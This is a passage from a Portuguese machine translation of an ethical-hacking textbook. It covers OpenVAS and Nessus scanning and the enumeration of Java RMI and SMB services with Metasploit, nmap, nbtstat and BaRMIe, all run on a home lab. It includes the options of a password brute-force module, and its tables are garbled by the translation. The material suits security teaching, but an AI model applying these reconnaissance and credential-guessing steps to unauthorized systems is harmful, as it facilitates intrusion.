Logo Passei Direto
Buscar
Material
páginas com resultados encontrados.
páginas com resultados encontrados.

Prévia do material em texto

Verificação de vulnerabilidades 169
O menu Scans fornece acesso a diferentes maneiras de ver os resultados. A primeira maneira que 
veremos é por meio da página Results. Ela tem uma lista de todos os resultados de todas as varreduras. 
Você também obterá mais gráficos. Você pode ver a lista de resultados e os gráficos que a acompanham na 
Figura 5.16. Os gráficos são interessantes, mas a lista de resultados tem algumas informações que são 
dignas de nota. Na primeira coluna, você verá um nome curto para a vulnerabilidade. Isso deve fornecer 
informações suficientes para que você saiba essencialmente qual é a vulnerabilidade. No mínimo, você 
saberá algo sobre o serviço ou dispositivo a partir do nome da vulnerabilidade.
figura 5.16Lista de resultados do OpenVAS
Você também obterá informações úteis adicionais. Você verá que além do resumo está a gravidade. Os 
valores de gravidade incluiriam Alto, Médio e Baixo. À esquerda da gravidade está o tipo de solução. O que 
você vê nos exemplos aqui são todas as correções do fornecedor. Você também pode ver mitigação, o que 
significa que há maneiras de aliviar o impacto se a vulnerabilidade fosse explorada. Você também pode ver 
que não há correções disponíveis. Embora tudo o que é mostrado na Figura 5.16 sejam problemas que têm 
correções do fornecedor, também há problemas encontrados que não têm correções, bem como problemas 
que têm mitigações.
À direita da gravidade, há algo mostrado como QoD. Esta é a qualidade da detecção, e o que isso 
significa é o quão certo o OpenVAS está sobre se a vulnerabilidade é um verdadeiro positivo. Você verá 
alguns números muito altos nessa coluna para algumas vulnerabilidades aparentes do macOS. 
Considerando que os sistemas identificados estão executando o macOS mais recente e foram totalmente 
corrigidos no momento da varredura, esses números de alta confiança são enganosos. Para entender 
exatamente o que o OpenVAS estava procurando para fazer a determinação, seria necessário olhar para o 
arquivo NASL associado à vulnerabilidade identificada.
Traduzido do Inglês para o Português - www.onlinedoctranslator.com
https://www.onlinedoctranslator.com/pt/?utm_source=onlinedoctranslator&utm_medium=pdf&utm_campaign=attribution
170 Capítulo 5 - Redes de digitalização
Na coluna da extrema direita, você pode acessar ações, como mostrado na Figura 5.17. Como esses relatórios 
permanecem armazenados no OpenVAS enquanto a instância permanecer, você provavelmente desejará fazer as 
alterações necessárias nas descobertas. Como no caso das descobertas do macOS, eu poderia adicionar uma substituição. 
Como observado anteriormente, nem todas as descobertas são exatamente como são apresentadas pelo OpenVAS. 
Algumas delas podem ser falsos positivos, por exemplo. Você pode alterar a gravidade da descoberta para falso positivo 
usando uma substituição. Você pode ver a caixa de diálogo que permite definir parâmetros de substituição, incluindo a 
definição da gravidade para falso positivo, na Figura 5.17.
figura 5.17Definindo uma substituição
Claro, falso positivo não é a única mudança na gravidade que você pode fazer. Você pode aumentar ou 
diminuir a gravidade. Você pode saber um pouco mais do que o OpenVAS, especialmente se você trabalha 
para a empresa para a qual está testando ou se está trabalhando em estreita colaboração com eles em vez 
de como um adversário estrito. Se já houver mitigações em vigor, você pode descobrir que deseja diminuir 
a gravidade. Também pode haver razões para aumentar a gravidade fornecida pelo OpenVAS. Afinal, esta é 
uma descoberta genérica, às vezes fornecida pelo fornecedor do software.
Você também pode definir outros parâmetros na substituição, se não for uma questão de gravidade 
que você deseja alterar. Se você fosse substituir a gravidade, provavelmente desejaria adicionar uma nota 
também, explicando qual foi a alteração e por que ela estava sendo feita. Isso permite que qualquer outra 
pessoa que tenha acesso ao OpenVAS revise as alterações que foram feitas e saiba por que
Verificação de vulnerabilidades 171
alterações foram feitas. Além de fazer alterações em parâmetros como gravidade, você pode 
adicionar notas a cada uma das descobertas. Esse é o outro ícone sob a coluna Ações.
Usar notas e substituições permite que você use o OpenVAS mais como uma ferramenta de 
gerenciamento de vulnerabilidades, até certo ponto, em vez de apenas um scanner de vulnerabilidades. 
Você pode usá-lo para fins históricos, para identificar vulnerabilidades conhecidas ou fazer alterações em 
parâmetros diferentes. Essas informações armazenadas podem ser úteis porque qualquer pessoa 
encarregada de proteger sistemas e redes estará constantemente lutando contra vulnerabilidades. 
Informações históricas, especialmente mitigações e o que foi feito para remediar as vulnerabilidades, 
serão úteis para profissionais de segurança.
Nesso
O Nessus é o pai do OpenVAS, o que faz valer a pena dar uma olhada, especialmente para ver como ele se 
desviou do caminho que o OpenVAS tomou. Embora o Nessus seja um produto comercial, há uma licença 
doméstica para que você possa usá-lo em sua rede doméstica para comparar com o OpenVAS e também 
ver outra abordagem para varredura de vulnerabilidades. Ao fazer login, você é levado para sua lista de 
varreduras, que estará vazia no início. Para iniciar uma varredura, você clicaria no botão Novo, que o levará 
para uma lista das diferentes políticas de varredura disponíveis. Você pode ver algumas das políticas de 
varredura que são incorporadas ao Nessus na Figura 5.18. Você verá Atualizarimpresso em algumas das 
políticas de escaneamento. Isso significa que essas políticas de escaneamento estão disponíveis apenas na 
versão comercial e não na licença Home.
figura 5.18Políticas de digitalização no Nessus
172 Capítulo 5 - Redes de digitalização
Se selecionarmos o Basic Network Scan como nosso ponto de partida, podemos começar a selecionar 
nosso alvo e então passar pela personalização. A Figura 5.19 mostra as configurações para o Basic Network 
Scan. Você verá na primeira tela que você fornece o nome do scan. Tenha em mente que você está criando 
uma configuração aqui e pode executar essa configuração várias vezes. Cada execução terá um carimbo de 
data/hora associado a ela, então você não precisa adicionar sua própria data e hora como parte do nome. 
Você vai querer nomeá-lo com algo que seja significativo para você, para que você possa diferenciar essa 
configuração de outras configurações.
figura 5.19Configurações de digitalização
Você pode, por exemplo, ter uma configuração onde você tem um conjunto específico de 
credenciais. A Figura 5.20 mostra a configuração para credenciais. Você verá que pode criar 
credenciais SSH e Windows para autenticação de host. Para cada um desses tipos, você poderá 
criar várias configurações. Você pode usar autenticação de chave SSH para alguns sistemas e 
então também ter uma configuração de autenticação para onde você precisa usar nome de 
usuário e senha. De acordo com a interface, você pode ter credenciais ilimitadas para SSH e 
Windows. Para criar outro conjunto de credenciais, há um botão no final da linha indicando o 
tipo de credencial.
Além das credenciais do host, você pode definir credenciais de autenticação para banco de 
dados, diversos e texto simples. A última categoria é para protocolos como HTTP, FTP e SMTP, entre 
outros. Diversos fornece configurações para firewalls VMware e Palo Alto. Isso fornece os meios para 
o Nessus verificar vulnerabilidades locais em uma variedade de aplicativos e também dispositivos.
Verificação de vulnerabilidades 173
figura 5. 2 0Configurações de credenciais
Além das credenciais, você pode configurar os plug-ins que deseja executar. Você pode acessar os plug-ins 
clicando na aba Plugins na parte superior. Olhando novamente para a Figura 5.19, você verá um conjunto de abas 
verticalmente ao longo do lado esquerdo. Isso não só fornece acesso às configurações básicas que você> executar
[*] 192.168.86.62:1099 - Enviando cabeçalho RMI...
[*] 192.168.86.62:1099 - Listando nomes no Registro... [+] 
192.168.86.62:1099 - 1 nomes encontrados no Registro
[+] 192.168.86.62:1099 - Nome HelloServer (HelloImpl_Stub) encontrado em 
127.0.1.1:38371
[*] Execução do módulo auxiliar concluída
As opções necessárias para executar o módulo java_rmi_registry são simples. A porta remota é 
definida como 1099, que é a porta que o rmiregistry escuta. Se você acha que há outra porta 
escutando, pode definir a variável RPORT. A que é essencial, no entanto, é RHOST. Definimos essa 
variável para o endereço IP do sistema onde há um programa Java muito simples que implementa 
um servidor RMI. Você pode ver o resultado da varredura. De acordo com o registro RMI, há um 
servidor chamado HelloServer. Ele até nos diz que o stub é chamado HelloImpl. Embora seja um 
servidor, o registro o chama de stub porque o
202 Capítulo 6 - Enumeração
a diferença entre um stub e um esqueleto é o fim da conversa que está acontecendo. 
O rmic gera stubs para servidores e clientes. É só que se referir ao fim do servidor 
como um esqueleto diferencia os dois.
O Metasploit não é a única maneira de escanear serviços RMI. Se você procurar um pouco, poderá 
encontrar programas adicionais. Um deles é chamado Barmie, estilizado como BaRMIe para destacar o RMI 
no nome. Você pode pegar o código-fonte, bem como uma implementação pré-compilada do BaRMIe 
através do Github. Executar o programa é simples. Como é um programa Java, você tem que executar o 
arquivo de código intermediário através do programa Java usado para criar uma máquina virtual Java. 
Como ele é armazenado como um arquivo Java (JAR), você tem que dizer ao Java que ele será executado a 
partir de um desses. O programa precisa saber qual host está escaneando, então você passa o endereço IP 
do seu alvo. Você pode ver uma execução do BaRMIe a seguir.
O programa javac é usado para compilar código-fonte Java para um arquivo de código 
intermediário. O programa java é usado para executar um arquivo de código intermediário.
Usando Barmie
root@quiche:~# java -jar BaRMIe_v1.01.jar 192.168.86.62
v1.0
Ferramenta de enumeração Java RMI.
Escrito por Nicky Bloor (@NickstaDB)
Aviso: O BaRMIe foi escrito para auxiliar os profissionais de segurança na identificação de
uso inseguro de serviços RMI em sistemas que o usuário tem permissão prévia 
para atacar. O BaRMIe deve ser usado de acordo com todas as leis relevantes. Não 
fazer isso pode levar à sua ação judicial. Os desenvolvedores não assumem 
nenhuma responsabilidade e não são responsáveis por qualquer uso indevido ou 
dano causado por este programa.
Verificando 1 alvo(s) em busca de objetos expostos por meio de um registro RMI...
Chamadas de Procedimento Remoto 203
[-] Ocorreu uma exceção durante o loop principal PassThroughProxyThread.
java.net.SocketException: Soquete fechado
[-] Ocorreu uma exceção durante o loop principal ReplyDataCapturingProxyThread.
java.net.SocketException: Socket fechou o 
Registro RMI em 192.168.86.62:1099 Objetos 
expostos: 1
Objeto 1
Nome: HelloServer
Ponto final: 127.0.1.1:38371
[+] O objeto está vinculado ao host local, mas parece estar exposto remotamente. 
Classes: 3
Classe 1
Nome da classe: java.rmi.server.RemoteStub 
Classe 2
Nome da classe: java.rmi.server.RemoteObject 
Classe 3
Nome da classe: HelloImpl_Stub
1 ataque potencial identificado (+++ = mais confiável) [---] 
Desserialização de ligação ilegal do registro Java RMI
0 gadgets de desserialização encontrados no CLASSPATH vazado
[~] Gadgets ainda podem estar presentes apesar de CLASSPATH não ter vazado
1 alvo(s) escaneado(s) com sucesso em busca de objetos expostos via RMI.
Vemos algumas coisas ao executar este programa. Ele é um pouco mais verboso do que o 
Metasploit. Obtemos o nome do servidor, HelloServer. Assim como no Metasploit, vemos que o 
servidor está vinculado ao localhost na porta 38371, que foi alocada dinamicamente pelo 
rmiregistry. Também vemos a árvore de herança disso. Podemos ver referências ao
aulasjava.rmi.server.RemoteStub, java.rmi.server.RemoteObject,eOláImpl
. Esboço.De acordo com o BaRMIe, o serviço é exposto remotamente, mas está disponível apenas para o 
localhost. Isso significa que temos vazamento de informações. Para tentar identificar vulnerabilidades com 
esse servidor RMI e potencialmente explorar essas vulnerabilidades, precisamos obter acesso ao sistema.
Ao identificar o registro RMI e os serviços adicionais, também identificamos a existência de 
outro pedaço de software no sistema de destino. Pode parecer óbvio agora, mas se você 
encontrar um registro RMI e serviços RMI, você encontrou um sistema que pelo menos tem 
um Java runtime engine (JRE) nele, se não um Java development kit (JDK). O que não sabemos 
da saída aqui é a versão do JRE ou JDK. No entanto, houve vulnerabilidades em 
implementações Java nos últimos anos. Saber que há pelo menos um JRE no sistema pode ter 
lhe dado uma pista para vulnerabilidades.
204 Capítulo 6 - Enumeração
Bloco de mensagens do servidor
A implementação mais comum de chamadas de procedimento remoto que você encontrará é a usada em redes 
Windows. O protocolo SMB é complexo quando você considera todas as diferentes maneiras pelas quais ele pode 
ser usado e todas as diferentes maneiras pelas quais ele operará. Você pode estar mais familiarizado com o SMB 
como o protocolo usado para compartilhar arquivos em uma rede. Embora este seja definitivamente um uso para 
o SMB, ele não é o único, e mesmo quando você pensa em compartilhar arquivos, há muito mais do que apenas 
transmitir o conteúdo do arquivo em uma rede.
SMB é um protocolo de camada de aplicação que pode operar sobre diferentes protocolos em camadas 
inferiores. Primeiro, ele pode operar diretamente sobre TCP sem quaisquer outros protocolos de camada 
de sessão. Se um sistema estivesse executando SMB diretamente sobre TCP, você encontraria a porta TCP 
445 aberta. SMB também pode operar sobre protocolos de sessão como NetBIOS, que é uma interface de 
programação de aplicativos (API) desenvolvida pela IBM para estender os recursos de entrada/saída (E/S) 
para longe do sistema local e para a rede. Se você vir as portas UDP 137 e 138 abertas, saberá que 
encontrou SMB em execução sobre NetBIOS. No entanto, se você encontrar as portas TCP 137 e 139 
abertas, você encontrará SMB em execução em NetBIOS sobre TCP. Tenha em mente que NetBIOS é usado 
para serviços de nome neste caso.
Então, para que serve o SMB? O SMB é usado para comunicação entre sistemas Windows — compartilhamento 
de arquivos, gerenciamento de rede, administração de sistemas. Isso pode significar gerenciar a nomenclatura de 
sistemas, para ter certeza de que não há conflitos. Gerenciamento como esse requer que os sistemas se anunciem 
para a rede local. O SMB também precisa oferecer suporte à autenticação para que os sistemas não fiquem 
totalmente abertos para toda a rede. Isso significa que o SMB sabe sobre usuários e grupos. Ele também sabe 
sobre compartilhamentos, que são diretórios expostos à rede. Os sistemas precisam ser capazes de fornecer a lista 
de compartilhamentos que estão exportando para a rede para os sistemas que solicitam. Isso permite que um 
usuário obtenha uma lista de compartilhamentos e acesse os que deseja, após a autenticação.
Não que a autenticação seja sempre necessária. O SMB suporta algo chamado autenticação nula. 
O que isso significa é que há algumas funções que não exigem um nome de usuário e senha. Um 
sistema pode solicitar informações sobre outro sistema na rede usando autenticação nula, o que 
significa que nenhuma credencial foi passada. Essa autenticação nula pode nos permitir reunir 
muitas informações sobre o sistema.
Podemos usar várias ferramentas diferentes para enumerar informações em sistemas Windows. Na 
verdade, não são apenas sistemas Windows, embora a intenção de implementar o SMB em outros sistemas 
seja interoperar com sistemas Windows. O Samba éum pacote que pode ser instalado em sistemas 
operacionais do tipo Unix, fornecendo SMB e também um serviço de nomenclatura NetBIOS. Existem dois 
processos separados que são usados pelo Samba. Um é o smbd, que lida com SMB, e também há o nmbd, 
que lida com os aspectos de nomenclatura da interoperabilidade com sistemas Windows. Isso significa que, 
mesmo enquanto procuramos enumerar informações de sistemas Windows, também podemos coletar 
sistemas do tipo Unix.
O primeiro lugar para começar é usar ferramentas internas. Ferramentas internas estão especialmente 
disponíveis em sistemas Windows, mas também existem utilitários do tipo Unix. Também veremos uma série de
Bloco de mensagens do servidor 205
plug-ins disponíveis para nmap para coletar informações. O Metasploit, sem surpresa, tem vários módulos 
para escanear sistemas SMB. Há também alguns outros utilitários que você pode usar, e daremos uma 
olhada em alguns deles.
Utilitários integrados
Se você estiver em um sistema Windows, há uma série de utilitários que você pode usar para coletar 
informações usando SMB. Existem análogos para Linux também. Uma coisa a ser notada em relação 
aos utilitários integrados é que você precisa estar no mesmo domínio de transmissão para poder 
usá-los. O NetBIOS foi originalmente desenvolvido para ser usado em uma rede local, em vez de 
com o conceito de redes de longa distância integrado. Como resultado, algumas das funções 
funcionam porque os sistemas dependem da transmissão de informações para a rede. A implicação 
disso é que você precisa ter uma presença na rede local antes que esses utilitários funcionem.
A coleta de estatísticas NetBIOS pode ser realizada usando o programa nbtstat. Isso permite que 
você colete dados sobre a rede local. No exemplo a seguir, você pode ver o uso do nbtstat para 
adquirir dados sobre um sistema remoto. Usandonbtstat -aapresenta a tabela de nomes para o 
nome do host fornecido. Se tudo o que soubéssemos fosse o endereço IP do sistema remoto, 
poderíamos usarnbtstat -Aem vez disso. O que você verá é que obtemos diferentes informações. 
Você obtém uma lista de nomes no lado esquerdo, seguido por um código. O código indica o 
contexto em que o nome existe, seguido pelo status de cada nome.
saída nbtstat
C:\Usuários\kilroy
> nbtstat -a billthecat
Conexão de área local:
Endereço IP do nó: [192.168.86.50] ID do escopo: []
Tabela de nomes de máquinas remotas NetBIOS
Nome
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
BILLTHECAT
BILLTHECAT
GRUPO DE TRABALHO
Tipo Status
EXCLUSIVO
EXCLUSIVO
GRUPO
Registrado
Registrado
Registrado
Endereço MAC = AC-87-A3-36-D6-AA
Os códigos mostrados são do NetBIOS, e você pode procurar o código para determinar a que o 
nome está associado. Os sistemas que usam SMB têm vários contextos nos quais eles
206 Capítulo 6 - Enumeração
pode existir. O que você vê aqui é um sistema que é uma estação de trabalho e um servidor de arquivos. Isso 
significa que o compartilhamento de arquivos foi habilitado neste sistema. Além disso, porém, o sistema atua 
como uma estação de trabalho ou cliente na rede. É importante distinguir os recursos porque então cada sistema 
pode saber os tipos de perguntas que podem ser feitas a cada um dos outros sistemas. Em termos técnicos, cada 
conjunto de funcionalidades tem procedimentos associados a ele. Não podemos chamar procedimentos que não 
existem, então antes que os procedimentos sejam chamados nos sistemas remotos para iniciar uma ação, temos 
que saber quais procedimentos estão disponíveis.nbtstat -a
essencialmente fornece essas informações.
O que vimos até agora simplesmente pede todas as funções (nomes) associadas a um nome de 
host na rede. Esse é um sistema individual. Se quisermos ver todos os nomes de host que estão 
falando SMB/NetBIOS, precisamos pedir outra coisa. Ainda podemos usar nbtstat, apenas 
passamos um parâmetro diferente na linha de comando. Estamos procurando nomes resolvidos. 
Essa lista pode vir de mensagens de transmissão quando não há um banco de dados centralizado 
para pesquisas de nomes — os sistemas anunciam seus nomes e sua presença quando ficam 
online e depois periodicamente. Também pode vir do Windows Internet Name Server (WINS), que é 
um repositório central de nomes de sistemas em uma rede corporativa. Os servidores Windows 
terão funcionalidade WINS, então os sistemas se registram no WINS e todos os nomes podem ser 
resolvidos.
Na listagem de código a seguir, você pode ver uma lista de nomes na rede. Como não há um servidor 
Windows e, como resultado, nenhum WINS na rede, esses são todos nomes que foram identificados por 
meio de mensagens de transmissão. Esses sistemas são todos macOS, mas estão compartilhando arquivos 
na rede usando SMB. Para fazer isso, eles precisam se comportar como qualquer outro sistema que se 
comunica usando SMB.
listando nomes resolvidos com nbtstat
C:\Usuários\kilroy
> nbtstat -r
Estatísticas de resolução e registro de nomes NetBIOS
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Resolvido por transmissão
Resolvido pelo servidor de nomes
= 47
= 0
Registrado por Broadcast Registrado 
por Servidor de Nomes = 0
= 8
Nomes NetBIOS resolvidos por transmissão
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
YAZPISTACHIO
BILLTHECAT
YAZPISTACHIO
Bloco de mensagens do servidor 207
YAZPISTACHIO
LOLAGRANOLA
LOLAGRANOLA
YAZPISTACHIO
YAZPISTACHIO
Existem outras funções que o nbtstat oferece, mas elas estão mais relacionadas à funcionalidade do 
sistema local e menos relevantes para enumeração. Embora o nbtstat tenha muita funcionalidade, ele está, 
como observado anteriormente, apenas em sistemas Windows. Existem outras ferramentas que você pode 
usar se não estiver executando no Windows. Se você tem um sistema Linux e tem o pacote Samba 
instalado, que fornece serviços que permitem que o Linux se comunique usando SMB, você pode usar a 
ferramenta nmblookup. Isso pode ser usado para fazer pesquisas de nomes na rede. Ele pode ser usado 
para consultar WINS, bem como pesquisar nomes onde os sistemas estão apenas transmitindo suas 
informações. Por exemplo, para obter os detalhes sobre o sistema billthecat como fizemos anteriormente, 
você usarianmblookup -S -R billthecat,como você pode ver aqui.
nmblookup para enumeração
kilroy@savagewood$ nmblookup -S -B 192.168.86.255 billthecat Não é 
possível carregar /etc/samba/smb.conf - execute testparm para depurá-lo 
consultando billthecat em 192.168.86.255
192.168.86.32 billthecat 
Procurando status de 192.168.86.32
BILLTHECAT
BILLTHECAT
GRUPO DE TRABALHO
 -
 -
 - H 
H 
H 
Endereço MAC = AC-87-A3-36-D6-AA
Usando -Bdiz ao nmblookup para usar o endereço de broadcast fornecido, que é apenas o endereço de 
broadcast na rede local. Para usar o WINS, você pode usar -Rpara fazer uma pesquisa recursiva no nome. A 
bandeira -Sdiz ao nmblookup para obter um status de nó além de apenas o status do nome. Este é o 
sinalizador que nos fornece os outros usos. Assim como fizemos antes, podemos ver que temos uma 
estação de trabalho () e também um servidor de arquivos (). Você também verá nesta saída, assim 
como fizemos antes, que o sistema pertence ao grupo de trabalho WORKGROUP. Os grupos de trabalho 
são usados para redes Windows ad hoc onde não há controlador de domínio para gerenciar todos os 
sistemas.
Scripts Nmap
O Nmap continua a ser relevante para nós, mesmo que tenhamos passado da fase de varredura de 
portas. Aqui, estamos buscando reunir mais informações usando os scripts fornecidos. No momento 
em que este artigo foi escrito, havia 33 scripts relacionados a SMB incluídos na implementação do 
nmap na versão mais recente do Kali Linux. A seguir, você pode ver uma parte da saída de
208 Capítulo 6 - Enumeração
esse script. O nome doscript,smb-os-descoberta,é mostrado na saída. Este é um sistema Windows 
que foi configurado para compartilhamento. Você verá que o nmap o identificou muito 
especificamente, até o service pack que foi instalado. Curiosamente, há vários outros sistemas na 
rede onde o compartilhamento baseado em SMB está habilitado, mas nenhum deles é identificado. A 
grande diferença entre eles e este é que esses sistemas têm apenas a porta 445 aberta, enquanto 
este também tem as portas 135 e 139 abertas.
saída de verificação smb-os-discovery
Relatório de varredura do Nmap para stevedallas.lan (192.168.86.50). O 
host está ativo (latência de 0,00058s).
PORTA
135/tcp aberto
139/tcp aberto
445/tcp aberto
Endereço MAC: 46:5E:C8:0A:B7:D1 (Desconhecido)
SERVIÇO DE ESTADO
msrpc
netbios-ssn
Microsoft-DS
Resultados do script do host:
| descoberta-smb-os:
|
|
|
|
|
|_
SO: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1) SO CPE: 
cpe:/o:microsoft:windows_7::sp1:professional
Nome do computador: stevedallas Nome do 
computador NetBIOS: STEVEDALLAS\x00 Grupo de 
trabalho: WORKGROUP\x00
Horário do sistema: 2018-08-17T20:30:27-06:00
Existem várias informações importantes que podemos usar o nmap para procurar. Existem scripts de 
enumeração para usuários, grupos, serviços, processos e compartilhamentos. Alguns deles exigem 
autenticação antes que o sistema remoto revele qualquer coisa. A Microsoft começou a desabilitar a 
autenticação de sessão nula no Windows Server 2008 R2 e no Windows 7. Qualquer sistema operacional 
depois disso exigirá autenticação antes de acessar a comunicação entre processos necessária para extrair 
as informações solicitadas. No entanto, a configuração pode ser desabilitada, e você nunca sabe quando 
encontrará sistemas muito desatualizados ou mal configurados. Você pode ver a falha do script de 
enumeração de compartilhamento no nmap aqui. A listagem mostra que, embora a autenticação fosse 
necessária, ele ainda tentou nomes de compartilhamento comuns.
Enumerando compartilhamentos com nmap
Relatório de varredura do Nmap para stevedallas.lan (192.168.86.50). O 
host está ativo (latência de 0,00040s).
PORTA
135/tcp aberto msrpc
SERVIÇO DE ESTADO
Bloco de mensagens do servidor 209
139/tcp aberto
445/tcp aberto
Endereço MAC: 46:5E:C8:0A:B7:D1 (Desconhecido)
netbios-ssn
Microsoft-DS
Resultados do script do host:
| compartilhamentos-enum-smb:
| nota: ERRO: Falha na enumeração de compartilhamentos, supondo os comuns 
(NT_STATUS_ACCESS_DENIED)
|
|
|
|
|
|
|
|
|
|
|
|
|_
conta_usada: 
\\192.168.86.50\ADMIN$:
aviso: Não foi possível obter detalhes do compartilhamento: NT_STATUS_ACCESS_DENIED 
Acesso anônimo: 
\\192.168.86.50\C$:
aviso: Não foi possível obter detalhes do compartilhamento: NT_STATUS_ACCESS_DENIED 
Acesso anônimo: 
\\192.168.86.50\IPC$:
aviso: Não foi possível obter detalhes do compartilhamento: 
NT_STATUS_ACCESS_DENIED Acesso anônimo: READ
\\192.168.86.50\USUÁRIOS:
aviso: Não foi possível obter detalhes do compartilhamento: NT_STATUS_ACCESS_DENIED 
Acesso anônimo: 
Um dos nomes de compartilhamento comuns testados é IPC$. Este é um nome de compartilhamento que 
permite acesso a pipes compartilhados, que é um método para comunicações entre processos. Outro nome de 
compartilhamento que o nmap verificou é C$. Este é um compartilhamento administrativo que é criado. 
Novamente, versões mais antigas do Windows permitirão acesso mais fácil a este compartilhamento, mas desde 
o Windows XP, houve mais restrições ao uso deste compartilhamento. Ele permite que os administradores 
funcionem remotamente, mas acessá-lo requer mais do que apenas credenciais de login. As credenciais de login 
devem ser para um administrador.
Embora o nmap tenha outros scripts que podem ser usados contra sistemas que executam SMB, a 
maioria deles não é para enumeração. Muitos deles são específicos para identificação ou confirmação de 
vulnerabilidades. Como estamos focando em enumeração, podemos adiar a análise desses outros scripts 
para um momento posterior.
Metasploit
O Metasploit tem módulos para quase todos os aspectos do hacking ético. Ele pode ser usado de muitas 
maneiras diferentes. Como mostrado anteriormente, podemos definitivamente usá-lo para enumeração e, 
quando se trata de SMB, há vários que você pode executar. Como exemplo, podemos procurar versões de 
SMB na rede. Na listagem a seguir, você verá uma execução do módulo smb_version. Você deve ter uma 
ideia da versão do serviço SMB que está em execução. O que você pode ver são dois sistemas que foram 
identificados com a versão do sistema operacional listada.
210 Capítulo 6 - Enumeração
A partir dessas informações, você pode identificar a versão do SMB que é suportada. O sistema Windows XP 
está executando a versão 1 do SMB porque a versão 2 não foi lançada até o Windows Vista ser lançado. De 
acordo com o histórico de versões do SMB, o sistema Windows 7 estaria usando a versão 2.1 do SMB.
Verificação da versão smB com metasploit
msf auxiliar(scanner/smb/smb_version) > executar
[*] Escaneados 26 de 256 hosts (10% concluído) [*] 
192.168.86.26:445
[*] 192.168.86.27:445
[*] 192.168.86.32:445
[*] 192.168.86.41:445
- O host não pôde ser identificado:
- O host não pôde ser identificado:
- O host não pôde ser identificado:
- O host não pôde ser identificado:
- O host está executando o Windows XP SP2 (idioma: inglês)
()
()
()
()
[+] 192.168.86.49:445
(nome:OPUS-C765F2) (grupo de trabalho:WORKGROUP)
[+] 192.168.86.50:445 - O host está executando o Windows 7 Professional SP1
(build:7601) (nome:STEVEDALLAS) (grupo de trabalho:WORKGROUP)
[*] Escaneados 52 de 256 hosts (20% concluído) [*] 
192.168.86.61:445 - O host não pôde ser identificado: ()
Também podemos usar o Metasploit para enumerar usuários. Para fazer isso, você usaria o módulo 
smb_enumusers_domain. Se você souber de um, pode usar um nome de usuário e senha. Isso permitiria 
que o módulo se autenticasse no sistema para obter usuários adicionais. Isso não é necessário, embora seja 
muito menos provável que você obtenha uma lista de usuários sem autenticação de algum tipo. Felizmente, 
há outro módulo que você pode usar para ajudá-lo a obter pelo menos um nome de usuário e senha. O 
módulo smb_login pode ser usado para tentar combinações de nome de usuário/senha. Aqui você pode ver 
a lista de opções para o módulo smb_login.
Opções do módulo smb_login
Opções de módulo (auxiliar/scanner/smb/smb_login):
Nome
- - - -
Configuração atual
- - - - - - - - - - - - - - - - 
falso
Obrigatório
- - - - - - - -
sim
Descrição
- - - - - - - - - - -
Abortar a execução quando uma contaABORTAR_NO_BLOQUEIO
bloqueio detectado
SENHAS_EM_BRANCO
Usuários
falso não Experimente senhas em branco para todos
VELOCIDADE_DE_FORÇA_BRUTA
para 5
5 sim Quão rápido é o bruteforce, de 0
DB_TODOS_OS_CRÉDITOS
armazenado no banco de dados atual
falso não Experimente cada par de usuário/senha
Bloco de mensagens do servidor 211
BD_TODOS_PASS
banco de dados atual para a lista
falso não Adicione todas as senhas no
BD_TODOS_USUÁRIOS
banco de dados para a lista
falso não Adicione todos os usuários no atual
DETECTAR_QUALQUER_AUTENTICAÇÃO
aceitando qualquer autenticação
falso não Habilitar detecção de sistemas
DETECTAR_QUALQUER_DOMÍNIO
para o usuário especificado
falso não Detectar se o domínio é necessário
PASS_FILE
por linha
não Arquivo contendo senhas, uma
PRESERVAR_DOMÍNIOS
contém um nome de domínio.
verdadeiro não Respeite um nome de usuário que
Procurações
tipo:host:porta[,tipo:host:porta][...]
não Uma cadeia proxy de formato
RECORD_CONVIDADO
logins no banco de dados
falso não Registrar privilégio de convidado aleatório
RHOSTS
Identificador CIDR
sim O intervalo de endereços de destino ou
RPORT 445
.
sim
não
A porta de serviço SMB (TCP) O 
domínio do Windows a ser usado paraDomínio SMB
autenticação
SMBPass
nome de usuário
não A senha para o especificado
Usuário SMB não
sim
O nome de usuário para autenticarcomo 
Pare de adivinhar quando uma credencialPARAR_EM_SUCESSO
trabalha para um anfitrião
falso
1LINHAS
Tópicos
sim O número de concorrentes
ARQUIVO_SENHA_DE_USUÁRIO
senhas separadas por espaço, um par por linha
não Arquivo contendo usuários e
USUÁRIO_COMO_SENHA
senha para todos os usuários
falso não Tente o nome de usuário como
ARQUIVO_DO_USUÁRIO
por linha
não Arquivo contendo nomes de usuários, um
PROGRAMADO
tentativas
verdadeiro sim Se deve imprimir a saída para todos
Usando o módulo smb_login, você pode fornecer arquivos que contenham nomes de usuários e 
senhas. O módulo tentará autenticar usando as combinações de nome de usuário e senha. Uma coisa 
que você também verá é que você pode dizer ao módulo para tentar o nome de usuário como uma 
senha. Isso é comumente proibido por políticas de senha, mas você pode encontrar sistemas onde as 
políticas de senha não estão em vigor, tornando possível que o nome de usuário e a senha sejam os 
mesmos.
Assim como o nmap, o Metasploit tem vários módulos que podem ser usados contra sistemas SMB. Muitos 
deles estão relacionados à identificação de vulnerabilidades. Ele fornece outra ferramenta que
212 Capítulo 6 - Enumeração
você pode usar para reunir informações, e a vantagem de usar o Metasploit é que ele é feito backup com um banco 
de dados onde as informações são armazenadas. Você pode recuperar dados do host, serviços e outros detalhes 
sobre o alvo do banco de dados. Isso o torna uma boa ferramenta de manutenção de registros, bem como uma 
ferramenta que pode ser usada para enumeração e outras formas de varredura.
Outros utilitários
Considerando o número de dispositivos que usam SMB para rede, não é surpreendente que existam 
muitas ferramentas disponíveis para enumerar sistemas SMB. O programa nbtscan é um deles. Ele fornece 
detalhes sobre os sistemas que encontra na rede local, incluindo o nome NetBIOS, usuário, endereço MAC 
e endereço IP. Na listagem a seguir, você pode ver a saída da varredura da minha rede doméstica, 
identificando todos os sistemas que têm compartilhamentos do Windows disponíveis. O intervalo de 
varredura foi fornecido na linha de comando aqui, mas você também pode fornecer os endereços IP em 
um arquivo.
escaneando uma rede com nbtscan
root@quiche:~# nbtscan 192.168.86.0/24
Fazendo varredura de nome NBT para endereços de 192.168.86.0/24
Endereço IP
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
192.168.86.0
192.168.86.44
192.168.86.52
192.168.86.49
192.168.86.170
192.168.86.50
192.168.86.26
192.168.86.61
